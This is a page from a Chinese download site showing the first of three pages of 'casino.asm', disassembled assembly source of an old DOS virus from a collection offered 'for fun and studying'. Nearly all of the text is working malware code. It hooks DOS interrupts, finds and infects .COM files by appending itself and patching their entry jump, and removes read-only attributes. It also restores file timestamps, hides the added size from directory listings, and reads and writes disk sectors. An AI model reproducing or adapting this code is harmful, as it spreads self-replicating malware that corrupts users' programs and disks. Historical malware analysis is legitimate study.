⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 casino.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		inc	cx
		mov	ah,9
		mov	dx,offset data_25	; (6AE6:0103=7)
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		int	20h			; Program Terminate
		db	0, 0, 0, 0, 0, 0Fh
		db	0, 0, 0E9h, 0D3h, 1, 0E9h
		db	0, 0, 0, 90h, 0E9h, 78h
		db	2Ah, 2Ah, 2Eh, 43h, 4Fh, 4Dh
		db	0
		db	'C:\COMMAND.COM'
		db	0, 43h, 4Fh, 4Dh, 4Dh, 41h
		db	4Eh, 44h, 0FFh
		db	2Eh, 43h, 4Fh, 4Dh
		db	15 dup (0)
		db	3Fh, 0, 0F0h, 3, 2, 0
		db	0B3h, 4Bh, 0FCh, 91h, 56h, 5
		db	79h, 10h, 0, 0, 0, 0
		db	0, 3
		db	8 dup (3Fh)
		db	43h, 4Fh, 4Dh, 3Fh, 8, 0
		db	1Eh, 2, 2Eh, 8Bh, 26h, 68h
		db	20h, 0A9h, 8Eh, 1Fh, 15h, 0E8h
		db	3, 0, 0
		db	'H1000.COM'
		db	9 dup (0)
		db	1Fh, 15h, 0A9h, 8Eh, 90h, 90h
		db	3Dh, 59h, 4Bh, 75h, 4, 0B8h
		db	66h, 6, 0CFh, 80h, 0FCh, 11h
		db	74h, 8, 80h, 0FCh, 12h, 74h
		db	3, 0EBh, 51h, 90h
loc_2:
		cmp	al,66h			; 'f'
		je	loc_4			; Jump if equal
		mov	al,66h			; 'f'
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		push	ax
		push	bx
		push	cx
		push	dx
		push	es
		mov	ah,2Fh			; '/'
		int	21h			; DOS Services  ah=function 2Fh
						;  get DTA ptr into es:bx
		mov	al,es:[bx+10h]
		cmp	al,43h			; 'C'
		jne	loc_3			; Jump if not equal
		mov	al,es:[bx+11h]
		cmp	al,4Fh			; 'O'
		jne	loc_3			; Jump if not equal
		mov	al,es:[bx+12h]
		cmp	al,4Dh			; 'M'
		jne	loc_3			; Jump if not equal
		mov	ax,es:[bx+24h]
		cmp	ax,91Ah
		jb	loc_3			; Jump if below
		sub	ax,91Ah
		mov	cx,ax
		push	cx
		mov	cx,10h
		mov	dx,0
		div	cx			; ax,dx rem=dx:ax/reg
		pop	cx
		cmp	dx,0
		jne	loc_3			; Jump if not equal
		mov	es:[bx+24h],cx
loc_3:
		pop	es
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		iret				; Interrupt return
int_24h_entry	endp
  
loc_4:
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		push	bp
		push	ds
		push	es
		mov	bx,cs
		mov	ds,bx
		mov	al,0
		mov	ds:data_18e,al		; (6AE6:004D=0)
		mov	al,ds:data_13e		; (6AE6:0040=0)
		cmp	al,0FFh
		jne	loc_5			; Jump if not equal
		jmp	loc_15			; (06B2)
loc_5:
		mov	al,0FFh
		mov	ds:data_13e,al		; (6AE6:0040=0)
		cmp	ah,4Bh			; 'K'
		je	loc_6			; Jump if equal
		cmp	ah,36h			; '6'
		je	loc_7			; Jump if equal
		jmp	loc_15			; (06B2)
loc_6:
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	ds:data_12e,al		; (6AE6:003F=0)
		jmp	short loc_8		; (0624)
		db	90h
loc_7:
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	ds:data_12e,al		; (6AE6:003F=0)
		cmp	dl,0
		je	loc_8			; Jump if equal
		dec	dl
		mov	ah,0Eh
		int	21h			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
loc_8:
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		cmp	al,1
		ja	loc_9			; Jump if above
		mov	ch,0
		push	ds
		pop	es
		mov	bx,917h
		mov	al,1
		call	sub_3			; (07DB)
		mov	al,1
		call	sub_4			; (07EC)
		cmp	ah,0
		je	loc_9			; Jump if equal
		jmp	short loc_14		; (069C)
		db	90h
loc_9:
		mov	ah,2Fh			; '/'
		int	21h			; DOS Services  ah=function 2Fh
						;  get DTA ptr into es:bx
		mov	ds:data_14e,bx		; (6AE6:0041=0)
		mov	ds:data_15e,es		; (6AE6:0043=6AE6h)
		mov	dx,4Eh
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		mov	dx,0Bh
		mov	cx,3Fh
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_14			; Jump if carry Set
		mov	dx,6Ch
		call	sub_1			; (06EE)
		cmp	dl,1
		jne	loc_10			; Jump if not equal
		call	sub_2			; (073C)
		jmp	short loc_14		; (069C)
		db	90h
loc_10:
		cmp	dl,3
		je	loc_11			; Jump if equal
		jmp	short loc_14		; (069C)
		db	90h
loc_11:
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jnc	loc_12			; Jump if carry=0
		jmp	short loc_14		; (069C)
		db	90h
loc_12:
		mov	dx,6Ch
		call	sub_1			; (06EE)
		cmp	dl,1
		jne	loc_13			; Jump if not equal
		call	sub_2			; (073C)
		jmp	short loc_14		; (069C)
		db	90h
loc_13:
		cmp	dl,3
		je	loc_11			; Jump if equal
loc_14:
		mov	dl,ds:data_12e		; (6AE6:003F=0)
		mov	ah,0Eh
		int	21h			; DOS Services  ah=function 0Eh
						;  set default drive dl  (0=a:)
		mov	dx,ds:data_14e		; (6AE6:0041=0)
		mov	bx,ds:data_15e		; (6AE6:0043=6AE6h)
		mov	ds,bx
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
loc_15:
		mov	ah,0
		mov	ds:data_13e,ah		; (6AE6:0040=0)
		pop	es
		pop	ds
		pop	bp
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
;*		jmp	far ptr loc_1		;*(0273:1460)
		db	0EAh, 60h, 14h, 73h, 2
		db	8Ch, 0CAh, 83h, 0C2h, 10h, 8Eh
		db	0DAh, 0BAh, 20h, 0, 0B4h, 41h
		db	0CDh, 21h, 0B8h, 21h, 35h, 0CDh
		db	21h, 8Ch, 6, 0D4h, 1, 89h
		db	1Eh, 0D2h, 1, 0BAh, 82h, 0
		db	0B8h, 21h, 25h, 0CDh, 21h, 0BAh
		db	1Bh, 0Ch, 0CDh
		db	27h
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_1		proc	near
		mov	ax,ds:data_19e		; (6AE6:0068=0)
		cmp	ax,0F5B9h
		ja	loc_20			; Jump if above
		mov	ax,4300h
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
		test	cl,4
		jnz	loc_20			; Jump if not zero
		test	cl,1
		jz	loc_16			; Jump if zero
		and	cl,0FEh
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
loc_16:
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	bx,ax
		mov	dx,3
		mov	cx,1
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		jnc	loc_17			; Jump if carry=0
		jmp	short loc_19		; (0732)
		db	90h
loc_17:
		cmp	ax,0
		jne	loc_18			; Jump if not equal
		jmp	short loc_19		; (0732)
		db	90h
loc_18:
		mov	al,byte ptr ds:data_8e+1	; (6AE6:0003=0)
		cmp	al,90h
		jne	loc_21			; Jump if not equal
loc_19:
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
loc_20:
		mov	dl,3
		retn
loc_21:
		mov	dl,1
		retn
sub_1		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_2		proc	near
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get/set file date & time
		mov	ds:data_20e,dx		; (6AE6:007E=0)
		mov	ds:data_21e,cx		; (6AE6:0080=0)
		push	bx
		call	sub_5			; (07FD)
		mov	bx,68h
		mov	ax,[bx]
		mov	dx,0
		mov	bx,10h
		div	bx			; ax,dx rem=dx:ax/reg
		inc	ax
		mov	ds:data_10e,ax		; (6AE6:003B=0)
		mul	bx			; dx:ax = reg * ax
		mov	ds:data_11e,ax		; (6AE6:003D=0)
		pop	bx
		mov	cx,ds:data_10e		; (6AE6:003B=0)
		mov	si,35Fh
		mov	[si],cx
		mov	cx,0
		mov	dx,0
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		mov	dx,605h
		mov	cx,4
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		mov	cx,0
		mov	dx,ds:data_11e		; (6AE6:003D=0)
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		mov	dx,0
		mov	cx,91Ah
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		cmp	ax,cx
		jb	loc_22			; Jump if below
		mov	al,ds:data_18e		; (6AE6:004D=0)
		cmp	al,1
		je	loc_22			; Jump if equal
		mov	cx,0
		mov	dx,0
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		mov	si,9
		mov	ax,ds:data_11e		; (6AE6:003D=0)
		add	ax,35Ch
		sub	ax,4
		mov	[si],ax
		mov	dx,7
		mov	cx,4
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
loc_22:
		mov	dx,ds:data_20e		; (6AE6:007E=0)
		mov	cx,ds:data_21e		; (6AE6:0080=0)
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  get/set file date & time
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		call	sub_6			; (0813)
		retn
sub_2		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_3		proc	near
		push	ax
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	dl,al
		pop	ax
		mov	dh,0
		mov	cl,1
		mov	ah,2
		int	13h			; Disk  dl=drive #: ah=func b2h
						;  read sectors to memory es:bx
		retn
sub_3		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_4		proc	near
		push	ax
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		mov	dl,al
		pop	ax
		mov	dh,0
		mov	cl,1
		mov	ah,3
		int	13h			; Disk  dl=drive #: ah=func b3h
						;  write sectors from mem es:bx
		retn
sub_4		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_5		proc	near
		mov	ax,3524h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_16e,bx		; (6AE6:0045=0)
		mov	ds:data_17e,es		; (6AE6:0047=6AE6h)
		mov	dx,335h
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		retn
sub_5		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_6		proc	near
		mov	dx,ds:data_16e		; (6AE6:0045=0)
		mov	cx,ds:data_17e		; (6AE6:0047=6AE6h)
		push	ds
		push	cx
		pop	ds
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		pop	ds
		retn
sub_6		endp
  
		db	50h, 53h, 51h, 52h, 1Eh, 6
		db	0B4h, 0, 0CDh, 13h, 0B4h, 1
		db	88h, 26h, 4Dh, 0, 0BFh, 0FFh
		db	0FFh, 8Eh, 6, 49h, 0, 8Bh
		db	1Eh, 4Bh, 0, 0B0h, 0, 26h
		db	88h, 7, 7, 1Fh, 5Ah, 59h
		db	5Bh, 58h, 0CFh, 8Ch, 0CAh, 0B9h
		db	3Fh, 0, 3, 0D1h, 83h, 0C2h
		db	10h, 8Eh, 0DAh, 0A1h, 3Dh, 0
		db	5, 3, 6, 0BBh, 0FEh, 0FFh
		db	2Bh, 0D8h, 89h, 1Eh, 3, 6
		db	0BBh, 5, 6, 8Ah, 7, 2Eh
		db	0A2h, 0, 1, 43h, 8Ah, 7
		db	2Eh, 0A2h, 1, 1, 43h, 8Ah
		db	7, 2Eh, 0A2h, 2, 1, 43h
		db	8Ah, 7, 2Eh, 0A2h, 3, 1
		db	0B4h, 2Ah, 0CDh, 21h, 80h, 0FAh
		db	0Fh, 74h, 3, 0E9h, 0A2h, 1
loc_23:
		cmp	dh,1
		je	loc_24			; Jump if equal
		cmp	dh,4
		je	loc_24			; Jump if equal

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -